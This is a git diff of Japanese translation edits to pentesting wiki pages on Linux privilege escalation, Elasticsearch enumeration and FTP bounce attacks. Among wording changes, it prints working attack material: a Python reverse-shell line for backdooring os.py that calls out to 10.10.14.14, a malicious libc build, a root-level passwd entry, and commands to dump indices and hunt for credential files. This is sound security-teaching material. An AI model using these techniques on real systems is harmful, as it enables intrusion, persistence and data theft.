+フォルダー内のファイルに**書き込み権限**がある場合、バイナリ[**write_sudo_token**](https://github.com/nongiach/sudo_inject/tree/master/extra_tools)を使用して**ユーザーとPIDのためのsudoトークンを作成**できます。\ +たとえば、ファイル_/var/run/sudo/ts/sampleuser_を上書きでき、PID 1234のそのユーザーとしてシェルを持っている場合、パスワードを知らなくても**sudo権限を取得**できます。 ```bash ./write_sudo_token 1234 > /var/run/sudo/ts/sampleuser ``` ### /etc/sudoers, /etc/sudoers.d ファイル `/etc/sudoers` と `/etc/sudoers.d` 内のファイルは、誰が `sudo` を使用できるか、そしてその方法を設定します。これらのファイルは **デフォルトではユーザー root とグループ root のみが読み取ることができます**。\ -**もし** このファイルを **読む** ことができれば、**興味深い情報を取得できる** かもしれません。そして、もし **書き込む** ことができれば、**特権を昇格させる** ことができるでしょう。 +**もし**このファイルを**読む**ことができれば、**興味深い情報を取得できる**かもしれません。そして、もし**書き込む**ことができるファイルがあれば、**特権を昇格させる**ことができるでしょう。 ```bash ls -l /etc/sudoers /etc/sudoers.d/ ls -ld /etc/sudoers.d/ @@ -1002,11 +1002,11 @@ sudo ls ### ld.so -ファイル `/etc/ld.so.conf` は **読み込まれた設定ファイルの場所を示します**。通常、このファイルには次のパスが含まれています: `include /etc/ld.so.conf.d/*.conf` +ファイル `/etc/ld.so.conf` は **読み込まれた設定ファイルの場所** を示します。通常、このファイルには次のパスが含まれています: `include /etc/ld.so.conf.d/*.conf` -これは、`/etc/ld.so.conf.d/*.conf` からの設定ファイルが読み込まれることを意味します。この設定ファイルは **他のフォルダを指し示し**、そこに **ライブラリ** が **検索される** ことになります。例えば、`/etc/ld.so.conf.d/libc.conf` の内容は `/usr/local/lib` です。**これは、システムが `/usr/local/lib` 内でライブラリを検索することを意味します**。 +これは、`/etc/ld.so.conf.d/*.conf` からの設定ファイルが読み込まれることを意味します。この設定ファイルは **他のフォルダを指し示し**、そこに **ライブラリ** が **検索** されることになります。例えば、`/etc/ld.so.conf.d/libc.conf` の内容は `/usr/local/lib` です。 **これは、システムが `/usr/local/lib` 内でライブラリを検索することを意味します**。 -何らかの理由で **ユーザーが書き込み権限を持っている** 場合、次のパスのいずれかに対して: `/etc/ld.so.conf`、`/etc/ld.so.conf.d/`、`/etc/ld.so.conf.d/` 内の任意のファイル、または `/etc/ld.so.conf.d/*.conf` 内の設定ファイル内の任意のフォルダに対して、特権を昇格させることができるかもしれません。\ +何らかの理由で **ユーザーが書き込み権限を持っている** 場合、次のパスのいずれかに対して: `/etc/ld.so.conf`, `/etc/ld.so.conf.d/`, `/etc/ld.so.conf.d/` 内の任意のファイル、または `/etc/ld.so.conf.d/*.conf` 内の設定ファイル内の任意のフォルダに対して、特権を昇格させることができるかもしれません。\ この誤設定を **どのように悪用するか** を次のページで確認してください: {{#ref}} @@ -1033,7 +1033,7 @@ linux-gate.so.1 => (0x005b0000) libc.so.6 => /var/tmp/flag15/libc.so.6 (0x00110000) /lib/ld-linux.so.2 (0x00737000) ``` -`/var/tmp`に`gcc -fPIC -shared -static-libgcc -Wl,--version-script=version,-Bstatic exploit.c -o libc.so.6`を使って悪意のあるライブラリを作成します。 +次に、`/var/tmp` に `gcc -fPIC -shared -static-libgcc -Wl,--version-script=version,-Bstatic exploit.c -o libc.so.6` を使用して悪意のあるライブラリを作成します。 ```c #include #define SHELL "/bin/sh" @@ -1049,7 +1049,7 @@ execve(file,argv,0); ## Capabilities Linux capabilitiesは、**プロセスに利用可能なroot権限のサブセットを提供します**。これにより、rootの**権限がより小さく、区別された単位に分割されます**。これらの単位はそれぞれ独立してプロセスに付与できます。この方法により、権限の完全なセットが削減され、悪用のリスクが低下します。\ -**capabilitiesとそれを悪用する方法について詳しく学ぶには、以下のページをお読みください**: +以下のページを読んで、**capabilitiesについて学び、どのように悪用するかを理解してください**: {{#ref}} linux-capabilities.md @@ -1057,14 +1057,14 @@ linux-capabilities.md ## Directory permissions -ディレクトリ内で、**"execute"のビット**は、影響を受けるユーザーがフォルダに**"cd"**できることを示します。\ +ディレクトリ内で、**"execute"のビット**は、影響を受けるユーザーが**"cd"**でフォルダに入れることを示します。\ **"read"**ビットは、ユーザーが**ファイルをリスト**できることを示し、**"write"**ビットは、ユーザーが**ファイルを削除**および**新しいファイルを作成**できることを示します。 ## ACLs -アクセス制御リスト(ACL)は、裁量的権限の二次層を表し、**従来のugo/rwx権限を上書きすることができます**。これらの権限は、所有者やグループの一部でない特定のユーザーに対して権利を付与または拒否することにより、ファイルまたはディレクトリへのアクセスを強化します。このレベルの**粒度は、より正確なアクセス管理を保証します**。詳細は[**こちら**](https://linuxconfig.org/how-to-manage-acls-on-linux)で確認できます。 +アクセス制御リスト(ACL)は、裁量的権限の二次層を表し、**従来のugo/rwx権限を上書きすることができます**。これらの権限は、所有者やグループの一部でない特定のユーザーに対して権利を付与または拒否することにより、ファイルやディレクトリへのアクセスを強化します。このレベルの**粒度は、より正確なアクセス管理を保証します**。詳細は[**こちら**](https://linuxconfig.org/how-to-manage-acls-on-linux)で確認できます。 -**ユーザー"kali"にファイルに対する読み取りおよび書き込み権限を付与します**: +**ユーザー"kali"にファイルに対する読み取りおよび書き込み権限を与えます**: ```bash setfacl -m u:kali:rw file.txt #Set it in /etc/sudoers or /etc/sudoers.d/README (if the dir is included) @@ -1134,7 +1134,7 @@ tmux -S /tmp/dev_sess attach -t 0 #Attach using a non-default tmux socket ### PermitRootLogin -rootがsshを使用してログインできるかどうかを指定します。デフォルトは`no`です。可能な値: +rootがsshを使用してログインできるかどうかを指定します。デフォルトは`no`です。可能な値: - `yes`: rootはパスワードと秘密鍵を使用してログインできます - `without-password`または`prohibit-password`: rootは秘密鍵のみでログインできます @@ -1143,7 +1143,7 @@ rootがsshを使用してログインできるかどうかを指定します。 ### AuthorizedKeysFile -ユーザー認証に使用できる公開鍵を含むファイルを指定します。`%h`のようなトークンを含むことができ、これはホームディレクトリに置き換えられます。**絶対パス**(`/`で始まる)または**ユーザーのホームからの相対パス**を指定できます。例えば: +ユーザー認証に使用できる公開鍵を含むファイルを指定します。`%h`のようなトークンを含むことができ、これはホームディレクトリに置き換えられます。**絶対パス**(`/`で始まる)または**ユーザーのホームからの相対パス**を指定できます。例えば: ```bash AuthorizedKeysFile .ssh/authorized_keys access ``` @@ -1151,9 +1151,9 @@ AuthorizedKeysFile .ssh/authorized_keys access ### ForwardAgent/AllowAgentForwarding -SSH エージェントフォワーディングを使用すると、**サーバーに置いておくことなく**(パスフレーズなしの)**ローカルの SSH キーを使用**できます。これにより、ssh **でホストにジャンプ**し、そこから **別の** ホストに **ジャンプ** **することができ**、**初期ホスト**にある **キー**を使用できます。 +SSH エージェントフォワーディングを使用すると、**サーバーにキーを置かずに**(パスフレーズなしで!)**ローカルの SSH キーを使用する**ことができます。これにより、ssh **を介してホストに** **ジャンプ**し、そこから **別の** ホストに **ジャンプ** **することができ**、**初期ホスト**にある **キー**を使用できます。 -このオプションを `$HOME/.ssh.config` に次のように設定する必要があります: +このオプションを `$HOME/.ssh.config` に次のように設定する必要があります: ``` Host example.com ForwardAgent yes @@ -1161,9 +1161,9 @@ ForwardAgent yes `Host`が`*`の場合、ユーザーが異なるマシンにジャンプするたびに、そのホストはキーにアクセスできるようになります(これはセキュリティの問題です)。 ファイル`/etc/ssh_config`はこの**options**を**override**し、この設定を許可または拒否することができます。\ -ファイル`/etc/sshd_config`はキーワード`AllowAgentForwarding`を使用してssh-agentフォワーディングを**allow**または**denied**することができます(デフォルトは許可です)。 +ファイル`/etc/sshd_config`はキーワード`AllowAgentForwarding`を使用してssh-agentフォワーディングを**allow**または**denied**することができます(デフォルトはallowです)。 -Forward Agentが環境で設定されている場合、次のページを読んでください。**特権を昇格させるために悪用できるかもしれません**: +Forward Agentが環境で設定されている場合、次のページを読むことをお勧めします。**特権を昇格させるために悪用できる可能性があります**: {{#ref}} ssh-forward-agent-exploitation.md @@ -1177,11 +1177,11 @@ ssh-forward-agent-exploitation.md ```bash ls -l /etc/profile /etc/profile.d/ ``` -もし奇妙なプロファイルスクリプトが見つかった場合は、**機密情報**が含まれているか確認するべきです。 +もし奇妙なプロファイルスクリプトが見つかった場合は、**機密情報**が含まれているか確認する必要があります。 ### Passwd/Shadow ファイル -OSによっては、`/etc/passwd` および `/etc/shadow` ファイルが異なる名前を使用しているか、バックアップが存在する場合があります。したがって、**すべてを見つける**ことをお勧めし、**それらを読み取れるか確認**して、ファイル内に**ハッシュ**が含まれているか確認してください。 +OSによっては、`/etc/passwd` と `/etc/shadow` ファイルが異なる名前を使用しているか、バックアップが存在する場合があります。したがって、**すべてを見つける**ことをお勧めし、**それらを読み取れるか確認**して、ファイル内に**ハッシュがあるかどうか**を確認してください。 ```bash #Passwd equivalent files cat /etc/passwd /etc/pwd.db /etc/master.passwd /etc/group 2>/dev/null @@ -1200,7 +1200,7 @@ openssl passwd -1 -salt hacker hacker mkpasswd -m SHA-512 hacker python2 -c 'import crypt; print crypt.crypt("hacker", "$6$salt")' ``` -次に、ユーザー `hacker` を追加し、生成されたパスワードを追加します。 +ユーザー `hacker` を追加し、生成されたパスワードを追加します。 ``` hacker:GENERATED_PASSWORD_HERE:0:0:Hacker:/root:/bin/bash ``` @@ -1216,7 +1216,7 @@ su - dummy ``` 注意: BSDプラットフォームでは `/etc/passwd` は `/etc/pwd.db` および `/etc/master.passwd` にあり、また `/etc/shadow` は `/etc/spwd.db` に名前が変更されています。 -あなたは **いくつかの機密ファイルに書き込むことができるか** 確認する必要があります。例えば、**サービス設定ファイル** に書き込むことができますか? +あなたは **いくつかの機密ファイルに書き込むことができるか** 確認するべきです。例えば、**サービス設定ファイル** に書き込むことができますか? ```bash find / '(' -type f -or -type d ')' '(' '(' -user $USER ')' -or '(' -perm -o=w ')' ')' 2>/dev/null | grep -v '/proc/' | grep -v $HOME | sort | uniq #Find files owned by the user or writable by anybody for g in `groups`; do find \( -type f -or -type d \) -group $g -perm -g=w 2>/dev/null | grep -v '/proc/' | grep -v $HOME; done #Find files writable by any group of the user @@ -1231,7 +1231,7 @@ Group=root ### フォルダの確認 -以下のフォルダにはバックアップや興味深い情報が含まれている可能性があります: **/tmp**, **/var/tmp**, **/var/backups, /var/mail, /var/spool/mail, /etc/exports, /root**(最後のものはおそらく読み取れませんが、試してみてください) +以下のフォルダにはバックアップや興味深い情報が含まれている可能性があります: **/tmp**, **/var/tmp**, **/var/backups, /var/mail, /var/spool/mail, /etc/exports, /root**(最後のものはおそらく読み取れないでしょうが、試してみてください) ```bash ls -a /tmp /var/tmp /var/backups /var/mail/ /var/spool/mail/ /root ``` @@ -1286,8 +1286,8 @@ find /var /etc /bin /sbin /home /usr/local/bin /usr/local/sbin /usr/bin /usr/gam ``` ### Known files containing passwords -[**linPEAS**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/linPEAS)のコードを読んでください。これは**パスワードを含む可能性のあるいくつかのファイルを検索します**。\ -**もう一つの興味深いツール**は、**LaZagne**です。これは、Windows、Linux、Mac用にローカルコンピュータに保存された多くのパスワードを取得するために使用されるオープンソースアプリケーションです。 +[**linPEAS**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/linPEAS)のコードを読んでください。これは、**パスワードを含む可能性のあるいくつかのファイルを検索します**。\ +**もう一つの興味深いツール**は、**LaZagne**です。これは、Windows、Linux、Macのローカルコンピュータに保存された多くのパスワードを取得するために使用されるオープンソースアプリケーションです。 ### Logs @@ -1319,9 +1319,9 @@ grep -RE 'comm="su"|comm="sudo"' /var/log* 2>/dev/null ### Python library hijacking -Pythonスクリプトが実行される**場所**を知っていて、そのフォルダー内に**書き込むことができる**、または**Pythonライブラリを変更できる**場合、OSライブラリを変更してバックドアを仕掛けることができます(Pythonスクリプトが実行される場所に書き込める場合は、os.pyライブラリをコピーして貼り付けます)。 +Pythonスクリプトが実行される**場所**を知っていて、そのフォルダー内に**書き込むことができる**、または**Pythonライブラリを変更できる**場合、OSライブラリを変更してバックドアを仕掛けることができます(Pythonスクリプトが実行される場所に書き込むことができる場合、os.pyライブラリをコピーして貼り付けます)。 -ライブラリを**バックドア化する**には、os.pyライブラリの最後に次の行を追加します(IPとPORTを変更してください): +ライブラリを**バックドアする**には、os.pyライブラリの最後に次の行を追加します(IPとPORTを変更してください): ```python import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.14.14",5678));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]); ``` @@ -1358,9 +1358,9 @@ DEVICE=eth0 ディレクトリ `/etc/init.d` は **System V init (SysVinit)** のための **スクリプト** のホームです。これは **クラシックなLinuxサービス管理システム** であり、サービスを `start`、`stop`、`restart`、時には `reload` するためのスクリプトが含まれています。これらは直接実行することも、`/etc/rc?.d/` に見られるシンボリックリンクを通じて実行することもできます。Redhatシステムの代替パスは `/etc/rc.d/init.d` です。 -一方、`/etc/init` は **Upstart** に関連しており、これはUbuntuによって導入された新しい **サービス管理** で、サービス管理タスクのための設定ファイルを使用します。Upstartへの移行にもかかわらず、SysVinitスクリプトはUpstartの設定とともに利用され続けており、Upstartには互換性レイヤーがあります。 +一方、`/etc/init` は **Upstart** に関連しており、Ubuntuによって導入された新しい **サービス管理** で、サービス管理タスクのための設定ファイルを使用します。Upstartへの移行にもかかわらず、SysVinitスクリプトはUpstartの設定とともに利用され続けており、Upstartには互換性レイヤーがあります。 -**systemd** は現代の初期化およびサービスマネージャーとして登場し、オンデマンドでのデーモン起動、自動マウント管理、システム状態スナップショットなどの高度な機能を提供します。ファイルは配布パッケージ用に `/usr/lib/systemd/` に、管理者の変更用に `/etc/systemd/system/` に整理されており、システム管理プロセスを効率化しています。 +**systemd** は現代の初期化およびサービスマネージャーとして登場し、オンデマンドのデーモン起動、自動マウント管理、システム状態スナップショットなどの高度な機能を提供します。ファイルは配布パッケージ用に `/usr/lib/systemd/` に、管理者の変更用に `/etc/systemd/system/` に整理されており、システム管理プロセスを効率化します。 ## Other Tricks @@ -1408,14 +1408,14 @@ cisco-vmanage.md ## References -- [https://blog.g0tmi1k.com/2011/08/basic-linux-privilege-escalation/](https://blog.g0tmi1k.com/2011/08/basic-linux-privilege-escalation/)\\ -- [https://payatu.com/guide-linux-privilege-escalation/](https://payatu.com/guide-linux-privilege-escalation/)\\ -- [https://pen-testing.sans.org/resources/papers/gcih/attack-defend-linux-privilege-escalation-techniques-2016-152744](https://pen-testing.sans.org/resources/papers/gcih/attack-defend-linux-privilege-escalation-techniques-2016-152744)\\ -- [http://0x90909090.blogspot.com/2015/07/no-one-expect-command-execution.html](http://0x90909090.blogspot.com/2015/07/no-one-expect-command-execution.html)\\ -- [https://touhidshaikh.com/blog/?p=827](https://touhidshaikh.com/blog/?p=827)\\ -- [https://github.com/sagishahar/lpeworkshop/blob/master/Lab%20Exercises%20Walkthrough%20-%20Linux.pdf](https://github.com/sagishahar/lpeworkshop/blob/master/Lab%20Exercises%20Walkthrough%20-%20Linux.pdf)\\ -- [https://github.com/frizb/Linux-Privilege-Escalation](https://github.com/frizb/Linux-Privilege-Escalation)\\ -- [https://github.com/lucyoa/kernel-exploits](https://github.com/lucyoa/kernel-exploits)\\ +- [https://blog.g0tmi1k.com/2011/08/basic-linux-privilege-escalation/](https://blog.g0tmi1k.com/2011/08/basic-linux-privilege-escalation/) +- [https://payatu.com/guide-linux-privilege-escalation/](https://payatu.com/guide-linux-privilege-escalation/) +- [https://pen-testing.sans.org/resources/papers/gcih/attack-defend-linux-privilege-escalation-techniques-2016-152744](https://pen-testing.sans.org/resources/papers/gcih/attack-defend-linux-privilege-escalation-techniques-2016-152744) +- [http://0x90909090.blogspot.com/2015/07/no-one-expect-command-execution.html](http://0x90909090.blogspot.com/2015/07/no-one-expect-command-execution.html) +- [https://touhidshaikh.com/blog/?p=827](https://touhidshaikh.com/blog/?p=827) +- [https://github.com/sagishahar/lpeworkshop/blob/master/Lab%20Exercises%20Walkthrough%20-%20Linux.pdf](https://github.com/sagishahar/lpeworkshop/blob/master/Lab%20Exercises%20Walkthrough%20-%20Linux.pdf) +- [https://github.com/frizb/Linux-Privilege-Escalation](https://github.com/frizb/Linux-Privilege-Escalation) +- [https://github.com/lucyoa/kernel-exploits](https://github.com/lucyoa/kernel-exploits) - [https://github.com/rtcrowley/linux-private-i](https://github.com/rtcrowley/linux-private-i) - [https://www.linux.com/news/what-socket/](https://www.linux.com/news/what-socket/) - [https://muzec0318.github.io/posts/PG/peppo.html](https://muzec0318.github.io/posts/PG/peppo.html) diff --git a/src/network-services-pentesting/9200-pentesting-elasticsearch.md b/src/network-services-pentesting/9200-pentesting-elasticsearch.md index ad27c79e2..d45b41cd6 100644 --- a/src/network-services-pentesting/9200-pentesting-elasticsearch.md +++ b/src/network-services-pentesting/9200-pentesting-elasticsearch.md @@ -4,7 +4,7 @@ ## 基本情報 -Elasticsearchは、**分散型**、**オープンソース**の検索および分析エンジンで、**あらゆる種類のデータ**に対応しています。**速度**、**スケーラビリティ**、および**シンプルなREST API**で知られています。Apache Luceneの上に構築され、2010年にElasticsearch N.V.(現在のElastic)によって最初にリリースされました。Elasticsearchは、データの取り込み、強化、保存、分析、視覚化のためのオープンソースツールのコレクションであるElastic Stackのコアコンポーネントです。このスタックは一般にELK Stackと呼ばれ、LogstashやKibanaも含まれており、現在はBeatsと呼ばれる軽量データ送信エージェントがあります。 +Elasticsearchは、**分散型**、**オープンソース**の検索および分析エンジンで、**あらゆる種類のデータ**に対応しています。**速度**、**スケーラビリティ**、および**シンプルなREST API**で知られています。Apache Luceneの上に構築され、2010年にElasticsearch N.V.(現在のElastic)によって最初にリリースされました。Elasticsearchは、データの取り込み、強化、保存、分析、視覚化のためのオープンソースツールのコレクションであるElastic Stackのコアコンポーネントです。このスタックは一般にELK Stackと呼ばれ、LogstashやKibanaも含まれ、現在はBeatsと呼ばれる軽量データ送信エージェントがあります。 ### Elasticsearchインデックスとは? @@ -12,7 +12,7 @@ Elasticsearchの**インデックス**は、**関連するドキュメント** Elasticsearchは、効率的なデータ構造である**逆インデックス**を使用して、高速な全文検索を実現しています。このインデックスは、ドキュメント内のすべてのユニークな単語をリストし、各単語が出現するドキュメントを特定します。 -インデックス作成プロセス中に、Elasticsearchはドキュメントを保存し、逆インデックスを構築することで、ほぼリアルタイムの検索を可能にします。**インデックスAPI**は、特定のインデックス内のJSONドキュメントを追加または更新するために使用されます。 +インデックス作成プロセス中に、Elasticsearchはドキュメントを保存し、逆インデックスを構築して、ほぼリアルタイムの検索を可能にします。**インデックスAPI**は、特定のインデックス内のJSONドキュメントを追加または更新するために使用されます。 **デフォルトポート**: 9200/tcp @@ -39,7 +39,7 @@ curl -X GET "ELASTICSEARCH-SERVER:9200/_xpack/security/user" ```bash {"error":{"root_cause":[{"type":"security_exception","reason":"missing authentication credentials for REST request [/]","header":{"WWW-Authenticate":"Basic realm=\"security\" charset=\"UTF-8\""}}],"type":"security_exception","reason":"missing authentication credentials for REST request [/]","header":{"WWW-Authenticate":"Basic realm=\"security\" charset=\"UTF-8\""}},"status":401} ``` -それは、認証が設定されており、**有効な資格情報**が必要であることを意味します。これにより、elasticsearchから情報を取得できます。その後、[**ブルートフォースを試すことができます**](../generic-hacking/brute-force.md#elasticsearch)(HTTP基本認証を使用しているため、HTTP基本認証をブルートフォースできるものは何でも使用できます)。\ +それは、認証が設定されており、**有効な資格情報**が必要であることを意味します。これにより、elasticsearchから情報を取得できます。その後、[**ブルートフォースを試すことができます**](../generic-hacking/brute-force.md#elasticsearch)(HTTP基本認証を使用しているため、BF HTTP基本認証を使用できるものは何でも使用できます)。\ ここに**デフォルトのユーザー名のリスト**があります:_**elastic**(スーパーユーザー)、remote_monitoring_user、beats_system、logstash_system、kibana、kibana_system、apm_system、_ \_anonymous\_。_ Elasticsearchの古いバージョンでは、このユーザーのデフォルトパスワードは**changeme**です。 ``` curl -X GET http://user:password@IP:9200/ @@ -57,7 +57,7 @@ curl -X GET "ELASTICSEARCH-SERVER:9200/_security/user/" ``` ### Elastic Info -以下は、elasticsearchに関する情報を**取得するために**、**GET**を介して**アクセスできる**いくつかのエンドポイントです: +以下は、elasticsearchに関する情報を**取得するために**、**GET**を介して**アクセスできる**エンドポイントです: | \_cat | /\_cluster | /\_security | | ------------------------------ | ----------------------------- | ------------------------ | @@ -86,7 +86,7 @@ curl -X GET "ELASTICSEARCH-SERVER:9200/_security/user/" | /\_cat/nodeattrs | | | | /\_cat/nodes | | | -これらのエンドポイントは、[**ドキュメントから取得されたもの**](https://www.elastic.co/guide/en/elasticsearch/reference/current/rest-apis.html)で、**詳細を見つけることができます**。\ +これらのエンドポイントは、[**ドキュメントから取得されたものです**](https://www.elastic.co/guide/en/elasticsearch/reference/current/rest-apis.html) さらに詳しい情報を**見つけることができます**。\ また、`/_cat`にアクセスすると、レスポンスにはインスタンスがサポートする`/_cat/*`エンドポイントが含まれます。 `/_security/user`(認証が有効な場合)では、どのユーザーが`superuser`の役割を持っているかを確認できます。 @@ -106,20 +106,20 @@ yellow open bank eSVpNfCfREyYoVigNWcrMw 5 1 1000 0 ### インデックスのダンプ -インデックスの**すべての内容をダンプしたい場合**、`http://host:9200//_search?pretty=true`にアクセスできます。例えば、`http://10.10.10.115:9200/bank/_search?pretty=true`のように。 +インデックスの**すべての内容をダンプしたい場合**は、`http://host:9200//_search?pretty=true`にアクセスできます。例えば、`http://10.10.10.115:9200/bank/_search?pretty=true`のように。 ![](<../images/image (914).png>) _この時点で、銀行インデックス内の各ドキュメント(エントリ)の内容と、前のセクションで見たこのインデックスのフィールドを比較してみてください。_ ここで、**"hits"内に"total"というフィールドがあり、**このインデックス内に**1000のドキュメントが見つかった**ことを示していることに気付くかもしれませんが、実際に取得されたのは10件だけです。これは、**デフォルトで10件のドキュメントに制限があるためです。**\ -しかし、**このインデックスに1000のドキュメントが含まれていることがわかったので、**ダンプしたいエントリの数を**`size`**パラメータで指定して、**すべてをダンプすることができます**:`http://10.10.10.115:9200/quotes/_search?pretty=true&size=1000`asd\ -\&#xNAN;_注:より大きな数を指定すると、すべてのエントリがダンプされます。例えば、`size=9999`を指定すると、エントリがもっとあった場合は奇妙になります(ただし、確認する必要があります)。_ +しかし、**このインデックスに1000のドキュメントが含まれていることがわかったので、**ダンプしたいエントリの数を**`size`**パラメータで指定して、**すべてをダンプできます**:`http://10.10.10.115:9200/quotes/_search?pretty=true&size=1000`asd\ +\_注:より大きな数を指定すると、すべてのエントリがダンプされます。例えば、`size=9999`と指定すると、エントリがもっとあった場合は奇妙になります(ただし、確認する必要があります)。_ ### すべてをダンプ -すべてをダンプするには、**以前と同じパスにアクセスしますが、インデックスを指定しないでください**`http://host:9200/_search?pretty=true`。例えば、`http://10.10.10.115:9200/_search?pretty=true`のように。\ -この場合、**デフォルトの10件の制限**が適用されることを忘れないでください。`size`パラメータを使用して、**より多くの結果をダンプする**ことができます。詳細については前のセクションを参照してください。 +すべてをダンプするには、**以前と同じパスに行きますが、インデックスを指定せずに**`http://host:9200/_search?pretty=true`にアクセスします。例えば、`http://10.10.10.115:9200/_search?pretty=true`のように。\ +この場合、**デフォルトの10件の制限**が適用されることを忘れないでください。`size`パラメータを使用して、**より多くの結果をダンプ**できます。詳細については前のセクションを参照してください。 ### 検索 diff --git a/src/network-services-pentesting/pentesting-ftp/README.md b/src/network-services-pentesting/pentesting-ftp/README.md index b7cd53f27..3c43b094f 100644 --- a/src/network-services-pentesting/pentesting-ftp/README.md +++ b/src/network-services-pentesting/pentesting-ftp/README.md @@ -5,7 +5,7 @@ ## 基本情報 **ファイル転送プロトコル (FTP)** は、サーバーとクライアント間でコンピュータネットワークを介してファイルを転送するための標準プロトコルです。\ -これは**プレーンテキスト**プロトコルであり、**新しい行文字 `0x0d 0x0a`** を使用するため、時には**`telnet`**または**`nc -C`**を使用して**接続する必要があります**。 +これは**プレーンテキスト**プロトコルで、**新しい行文字 `0x0d 0x0a`** を使用するため、時には**`telnet`**または**`nc -C`**を使用して**接続する必要があります**。 **デフォルトポート:** 21 ``` @@ -88,8 +88,8 @@ STAT ### 匿名ログイン _anonymous : anonymous_\ -\&#xNAN;_anonymous :_\ -\&#xNAN;_ftp : ftp_ +\_anonymous :_\ +\_ftp : ftp_ ```bash ftp >anonymous @@ -105,17 +105,17 @@ ftp ### 自動化 -匿名ログインとバウンスFTPチェックは、nmapの**-sC**オプションを使用してデフォルトで実行されます: +匿名ログインとバウンスFTPチェックは、nmapの**-sC**オプションを使用してデフォルトで実行されます。 ```bash nmap --script ftp-* -p 21 ``` ## ブラウザ接続 -ブラウザ(Firefoxなど)を使用して、次のようなURLでFTPサーバーに接続できます: +You can connect to a FTP server using a browser (like Firefox) using a URL like: ```bash ftp://anonymous:anonymous@10.10.10.98 ``` -注意すべきは、**ウェブアプリケーション**がユーザーによって制御されるデータを**直接FTPサーバー**に送信している場合、ダブルURLエンコードされた`%0d%0a`(ダブルURLエンコードでは`%250d%250a`)バイトを送信することで、**FTPサーバーが任意のアクションを実行**する可能性があることです。この任意のアクションの一つは、ユーザーが制御するサーバーからコンテンツをダウンロードしたり、ポートスキャンを実行したり、他のプレーンテキストベースのサービス(例えばhttp)と通信を試みたりすることです。 +ユーザーが制御するデータを**FTPサーバー**に**直接送信**している**ウェブアプリケーション**がある場合、ダブルURLエンコードされた`%0d%0a`(ダブルURLエンコードでは`%250d%250a`)バイトを送信することで、**FTPサーバーに任意のアクションを実行させる**ことができます。この任意のアクションの1つは、ユーザーが制御するサーバーからコンテンツをダウンロードしたり、ポートスキャンを実行したり、他のプレーンテキストベースのサービス(例えばhttp)と通信を試みたりすることです。 ## FTPからすべてのファイルをダウンロードする ```bash @@ -131,13 +131,13 @@ wget -r --user="USERNAME" --password="PASSWORD" ftp://server.com/ - **`USER username`** - **`PASS password`** - **`HELP`** サーバーがサポートしているコマンドを示します -- **`PORT 127,0,0,1,0,80`** これはFTPサーバーにIP 127.0.0.1のポート80で接続を確立するよう指示します(_5番目の文字を「0」に、6番目を10進数でポートに設定する必要があります。または5番目と6番目を使ってポートを16進数で表現します_)。 +- **`PORT 127,0,0,1,0,80`** これはFTPサーバーにIP 127.0.0.1のポート80で接続を確立するよう指示します(_5番目の文字を「0」にし、6番目を10進数でポートとして指定する必要があります。または5番目と6番目を使ってポートを16進数で表現します_)。 - **`EPRT |2|127.0.0.1|80|`** これはFTPサーバーにIP 127.0.0.1のポート80でTCP接続を確立するよう指示します(_「2」によって示されます_)。このコマンドは**IPv6をサポートしています**。 - **`LIST`** 現在のフォルダー内のファイルのリストを送信します - **`LIST -R`** 再帰的にリスト(サーバーが許可している場合) - **`APPE /path/something.txt`** これはFTPに**パッシブ**接続または**PORT/EPRT**接続から受信したデータをファイルに保存するよう指示します。ファイル名が存在する場合、データを追加します。 -- **`STOR /path/something.txt`** `APPE`のように、しかしファイルを上書きします -- **`STOU /path/something.txt`** `APPE`のように、しかし存在する場合は何もしません。 +- **`STOR /path/something.txt`** `APPE`のようですが、ファイルを上書きします +- **`STOU /path/something.txt`** `APPE`のようですが、存在する場合は何もしません。 - **`RETR /path/to/file`** パッシブまたはポート接続を確立する必要があります。その後、FTPサーバーはその接続を通じて指定されたファイルを送信します - **`REST 6`** これはサーバーに次回`RETR`を使用して何かを送信する際に6バイト目から開始するよう指示します。 - **`TYPE i`** バイナリ転送を設定します @@ -152,15 +152,15 @@ wget -r --user="USERNAME" --password="PASSWORD" ftp://server.com/ [**ここでFTPサーバーを悪用してポートをスキャンする方法を学びましょう。**](ftp-bounce-attack.md) -この動作を悪用して、FTPサーバーを他のプロトコルと対話させることもできます。**HTTPリクエストを含むファイルをアップロード**し、脆弱なFTPサーバーに**任意のHTTPサーバーに送信させる**ことができます(_新しい管理ユーザーを追加するため?_)または、FTPリクエストをアップロードして脆弱なFTPサーバーに別のFTPサーバーからファイルをダウンロードさせることもできます。\ +この動作を悪用して、FTPサーバーを他のプロトコルと対話させることもできます。**HTTPリクエストを含むファイルをアップロード**し、脆弱なFTPサーバーに**任意のHTTPサーバーに送信させる**ことができます(_新しい管理ユーザーを追加するため?_)または、FTPリクエストをアップロードして、脆弱なFTPサーバーに別のFTPサーバーからファイルをダウンロードさせることもできます。\ 理論は簡単です: -1. **リクエスト(テキストファイル内)を脆弱なサーバーにアップロードします。** 他のHTTPまたはFTPサーバーと通信する場合は、`0x0d 0x0a`で行を変更する必要があることを忘れないでください。 -2. **`REST X`を使用して送信したくない文字を送信しないようにします**(おそらくリクエストをファイル内にアップロードするために、最初にいくつかの画像ヘッダーを追加する必要がありました)。 +1. **リクエスト(テキストファイル内)を脆弱なサーバーにアップロードします。** 他のHTTPまたはFTPサーバーと通信する場合は、`0x0d 0x0a`で行を変更する必要があることを忘れないでください +2. **`REST X`を使用して送信したくない文字を送信しないようにします**(おそらくリクエストをファイル内にアップロードするために、最初にいくつかの画像ヘッダーを入れる必要がありました) 3. **`PORT`を使用して任意のサーバーとサービスに接続します** 4. **`RETR`を使用して保存されたリクエストをサーバーに送信します。** -これは**_**ソケットが書き込み可能ではない**_**というエラーを引き起こす可能性が非常に高いです。**接続が`RETR`でデータを送信するのに十分な時間がないためです**。これを回避するための提案は次のとおりです: +これは**_**ソケットが書き込み可能ではない**_**というエラーを引き起こす可能性が非常に高いです。**これは接続が`RETR`でデータを送信するのに十分な時間がないためです**。これを回避するための提案は次のとおりです: - HTTPリクエストを送信している場合、**同じリクエストを次々と送信します**、少なくとも**\~0.5MB**まで。次のように: @@ -168,7 +168,7 @@ wget -r --user="USERNAME" --password="PASSWORD" ftp://server.com/ posts.txt {{#endfile}} -- 